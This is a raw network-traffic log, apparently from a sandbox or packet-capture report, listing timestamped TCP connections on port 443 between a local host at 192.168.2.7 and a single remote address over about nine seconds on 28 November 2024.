Nov 28, 2024 10:05:22.423171043 CET	49814	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.423186064 CET	443	49814	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.426409960 CET	49819	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.426459074 CET	443	49819	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.426697016 CET	49819	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.426857948 CET	49819	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.426872015 CET	443	49819	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.547816038 CET	443	49815	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.548023939 CET	443	49815	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.548098087 CET	49815	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.548316956 CET	49815	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.548337936 CET	443	49815	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.548346996 CET	49815	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.548353910 CET	443	49815	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.551040888 CET	49820	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.551086903 CET	443	49820	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.551162958 CET	49820	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.551306009 CET	49820	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.551322937 CET	443	49820	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.940037012 CET	443	49816	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.945074081 CET	49816	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.945096970 CET	443	49816	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.945606947 CET	49816	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.945611954 CET	443	49816	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.307061911 CET	443	49818	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.307635069 CET	49818	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.307657957 CET	443	49818	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.308116913 CET	49818	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.308126926 CET	443	49818	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.384525061 CET	443	49816	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.387490034 CET	443	49816	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.387557983 CET	49816	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.387593985 CET	49816	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.387613058 CET	443	49816	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.387644053 CET	49816	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.387650013 CET	443	49816	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.390327930 CET	49821	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.390377998 CET	443	49821	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.390480042 CET	49821	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.390621901 CET	49821	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.390640020 CET	443	49821	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.751147985 CET	443	49818	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.754255056 CET	443	49818	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.754319906 CET	49818	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.754374981 CET	49818	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.754396915 CET	443	49818	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.754410028 CET	49818	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.754416943 CET	443	49818	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.757522106 CET	49822	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.757564068 CET	443	49822	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:23.757620096 CET	49822	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.757848978 CET	49822	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:23.757864952 CET	443	49822	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.274980068 CET	443	49819	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.275558949 CET	49819	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.275593996 CET	443	49819	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.276060104 CET	49819	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.276072025 CET	443	49819	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.330781937 CET	443	49820	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.331351995 CET	49820	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.331372976 CET	443	49820	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.331854105 CET	49820	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.331859112 CET	443	49820	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.480518103 CET	443	49817	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.481117010 CET	49817	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.481154919 CET	443	49817	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.481594086 CET	49817	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.481607914 CET	443	49817	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.729235888 CET	443	49819	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.732656002 CET	443	49819	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.732779026 CET	49819	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.733072996 CET	49819	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.733072996 CET	49819	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.733098030 CET	443	49819	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.733112097 CET	443	49819	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.736212969 CET	49823	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.736248970 CET	443	49823	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.736310959 CET	49823	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.736449957 CET	49823	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.736463070 CET	443	49823	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.775285006 CET	443	49820	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.778454065 CET	443	49820	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.778520107 CET	49820	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.778554916 CET	49820	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.778573990 CET	443	49820	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.778584003 CET	49820	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.778589964 CET	443	49820	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.781198025 CET	49824	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.781241894 CET	443	49824	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.781312943 CET	49824	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.781443119 CET	49824	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.781455994 CET	443	49824	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.933718920 CET	443	49817	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.937283993 CET	443	49817	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.937325001 CET	443	49817	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.937345982 CET	49817	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.937382936 CET	49817	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.937437057 CET	49817	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.937453985 CET	443	49817	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.937463045 CET	49817	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.937469006 CET	443	49817	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.940157890 CET	49825	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.940191984 CET	443	49825	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:24.940260887 CET	49825	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.940398932 CET	49825	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:24.940412045 CET	443	49825	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.170663118 CET	443	49821	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.171250105 CET	49821	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.171264887 CET	443	49821	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.171750069 CET	49821	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.171755075 CET	443	49821	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.603777885 CET	443	49822	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.604386091 CET	49822	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.604419947 CET	443	49822	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.604830027 CET	49822	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.604835033 CET	443	49822	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.615343094 CET	443	49821	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.618448019 CET	443	49821	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.618491888 CET	443	49821	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.618534088 CET	49821	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.618561983 CET	49821	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.618612051 CET	49821	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.618630886 CET	443	49821	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.618643045 CET	49821	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.618649006 CET	443	49821	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.621332884 CET	49826	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.621372938 CET	443	49826	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:25.621438026 CET	49826	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.621567965 CET	49826	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:25.621582031 CET	443	49826	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.057796955 CET	443	49822	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.060826063 CET	443	49822	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.060906887 CET	49822	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.060981989 CET	49822	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.060998917 CET	443	49822	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.061009884 CET	49822	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.061016083 CET	443	49822	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.063819885 CET	49827	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.063842058 CET	443	49827	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.063910961 CET	49827	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.064062119 CET	49827	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.064074993 CET	443	49827	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.495718956 CET	443	49824	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.496171951 CET	49824	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.496201038 CET	443	49824	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.496633053 CET	49824	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.496639967 CET	443	49824	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.587408066 CET	443	49823	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.587847948 CET	49823	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.587862015 CET	443	49823	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.588277102 CET	49823	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.588289022 CET	443	49823	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.721641064 CET	443	49825	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.722229004 CET	49825	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.722249031 CET	443	49825	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.722692966 CET	49825	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.722697973 CET	443	49825	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.930748940 CET	443	49824	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.930816889 CET	443	49824	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.930880070 CET	49824	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.941153049 CET	49824	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.941169977 CET	443	49824	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.941179991 CET	49824	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.941184998 CET	443	49824	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.959492922 CET	49828	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.959578037 CET	443	49828	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:26.959678888 CET	49828	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.959806919 CET	49828	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:26.959830046 CET	443	49828	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.040575027 CET	443	49823	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.043845892 CET	443	49823	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.043919086 CET	49823	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.046341896 CET	49823	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.046358109 CET	443	49823	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.046375036 CET	49823	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.046385050 CET	443	49823	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.049724102 CET	49829	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.049781084 CET	443	49829	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.049833059 CET	49829	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.052512884 CET	49829	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.052522898 CET	443	49829	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.168335915 CET	443	49825	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.168365002 CET	443	49825	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.168404102 CET	443	49825	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.168422937 CET	49825	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.168450117 CET	49825	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.168651104 CET	49825	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.168667078 CET	443	49825	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.168677092 CET	49825	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.168682098 CET	443	49825	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.171371937 CET	49830	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.171427965 CET	443	49830	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.171509027 CET	49830	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.179629087 CET	49830	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.179665089 CET	443	49830	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.467113018 CET	443	49826	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.467571974 CET	49826	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.467582941 CET	443	49826	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.468063116 CET	49826	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.468066931 CET	443	49826	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.913523912 CET	443	49827	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.921715021 CET	443	49826	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.921794891 CET	443	49826	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.921854973 CET	49826	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.960989952 CET	49827	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.964799881 CET	49827	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.964807034 CET	443	49827	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.968949080 CET	49827	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.968955994 CET	443	49827	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.972815037 CET	49826	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.972840071 CET	443	49826	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:27.972851992 CET	49826	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:27.972856998 CET	443	49826	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.141519070 CET	49831	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.141586065 CET	443	49831	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.141644955 CET	49831	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.141922951 CET	49831	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.141937971 CET	443	49831	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.433114052 CET	443	49827	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.433186054 CET	443	49827	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.433237076 CET	49827	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.433547020 CET	49827	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.433562040 CET	443	49827	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.433597088 CET	49827	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.433602095 CET	443	49827	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.437068939 CET	49832	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.437097073 CET	443	49832	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.437160015 CET	49832	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.437356949 CET	49832	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.437375069 CET	443	49832	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.743727922 CET	443	49828	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.744255066 CET	49828	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.744277000 CET	443	49828	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.744915009 CET	49828	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.744924068 CET	443	49828	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.834980011 CET	443	49829	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.835483074 CET	49829	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.835515022 CET	443	49829	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.836030960 CET	49829	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.836036921 CET	443	49829	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.960407972 CET	443	49830	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.960917950 CET	49830	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.960956097 CET	443	49830	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:28.961513996 CET	49830	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:28.961520910 CET	443	49830	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.191015959 CET	443	49828	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.194135904 CET	443	49828	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.194196939 CET	49828	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.194255114 CET	49828	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.194273949 CET	443	49828	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.194293022 CET	49828	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.194299936 CET	443	49828	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.197041988 CET	49833	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.197107077 CET	443	49833	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.197182894 CET	49833	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.197437048 CET	49833	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.197451115 CET	443	49833	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.278831959 CET	443	49829	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.282524109 CET	443	49829	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.282576084 CET	443	49829	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.282577991 CET	49829	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.282627106 CET	49829	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.282675028 CET	49829	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.282695055 CET	443	49829	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.282707930 CET	49829	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.282713890 CET	443	49829	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.285255909 CET	49834	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.285294056 CET	443	49834	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.285372972 CET	49834	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.285497904 CET	49834	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.285511017 CET	443	49834	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.405200005 CET	443	49830	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.408308983 CET	443	49830	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.408363104 CET	49830	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.408420086 CET	49830	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.408438921 CET	443	49830	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.408454895 CET	49830	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.408461094 CET	443	49830	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.411286116 CET	49835	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.411328077 CET	443	49835	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.411391973 CET	49835	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.411520004 CET	49835	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.411533117 CET	443	49835	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.986948967 CET	443	49831	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.987423897 CET	49831	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.987451077 CET	443	49831	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:29.987898111 CET	49831	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:29.987905025 CET	443	49831	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.332304001 CET	443	49832	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.332902908 CET	49832	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.332918882 CET	443	49832	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.333425999 CET	49832	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.333431005 CET	443	49832	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.446280956 CET	443	49831	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.449441910 CET	443	49831	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.449481010 CET	443	49831	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.449496984 CET	49831	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.449531078 CET	49831	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.450534105 CET	49831	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.450555086 CET	443	49831	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.450568914 CET	49831	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.450575113 CET	443	49831	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.453319073 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.453351021 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.453425884 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.456688881 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.456701994 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.776598930 CET	443	49832	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.776673079 CET	443	49832	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.776726007 CET	49832	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.910629034 CET	49832	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.910648108 CET	443	49832	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.910660028 CET	49832	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.910665035 CET	443	49832	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.931536913 CET	49837	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.931575060 CET	443	49837	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:30.931633949 CET	49837	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.933782101 CET	49837	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:30.933793068 CET	443	49837	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.042685032 CET	443	49833	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.066174984 CET	443	49834	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.085972071 CET	49833	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.117254019 CET	49834	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.157938957 CET	49833	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.157967091 CET	443	49833	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.158432007 CET	49833	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.158437014 CET	443	49833	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.158890963 CET	49834	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.158905983 CET	443	49834	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.159264088 CET	49834	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.159271955 CET	443	49834	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.192951918 CET	443	49835	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.194453001 CET	49835	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.194480896 CET	443	49835	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.195823908 CET	49835	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.195828915 CET	443	49835	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.495636940 CET	443	49833	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.499121904 CET	443	49833	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.499178886 CET	443	49833	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.499188900 CET	49833	443	192.168.2.7	13.107.246.63
